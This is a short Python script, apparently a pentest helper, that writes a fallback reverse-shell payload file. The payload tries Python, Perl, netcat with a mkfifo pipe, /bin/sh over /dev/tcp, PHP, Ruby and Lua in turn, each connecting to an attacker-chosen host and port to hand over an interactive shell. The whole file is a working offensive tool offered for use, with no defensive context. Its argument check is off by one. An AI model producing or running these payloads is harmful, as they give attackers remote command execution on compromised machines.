Resh

resh.py

#!/usr/bin/env python3

import sys


if len(sys.argv) < 3:
    print("Usage: python3 resh.py <lhost> <lport> <filename>")
    sys.exit(0)

lhost = sys.argv[1]
lport = sys.argv[2]
fname = sys.argv[3]


resh = f'''
if command -v python > /dev/null 2>&1; then
    python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("{lhost}",{lport})); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'
    exit;
fi

if command -v perl > /dev/null 2>&1; then
    perl -e 'use Socket;$i="{lhost}";$p={lport};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");}};'
    exit;
fi

if command -v nc > /dev/null 2>&1; then
    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f
    exit;
fi

if command -v sh > /dev/null 2>&1; then
    /bin/sh -i >& /dev/tcp/{lhost}/{lport} 0>&1
    exit;
fi

if command -v php > /dev/null 2>&1; then
    php -r '$sock=fsockopen("{lhost}",{lport});exec("/bin/sh -i <&3 >&3 2>&3");'
    exit;
fi

if command -v ruby > /dev/null 2>&1; then
    ruby -rsocket -e'f=TCPSocket.open("{lhost}",{lport}).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
    exit;
fi

if command -v lua > /dev/null 2>&1; then
    lua -e "require('socket');require('os');t=socket.tcp();t:connect('{lhost}','{lport}');os.execute('/bin/sh -i <&3 >&3 2>&3');"
    exit;
fi
'''

with open(fname, "w") as f:
    f.write(resh)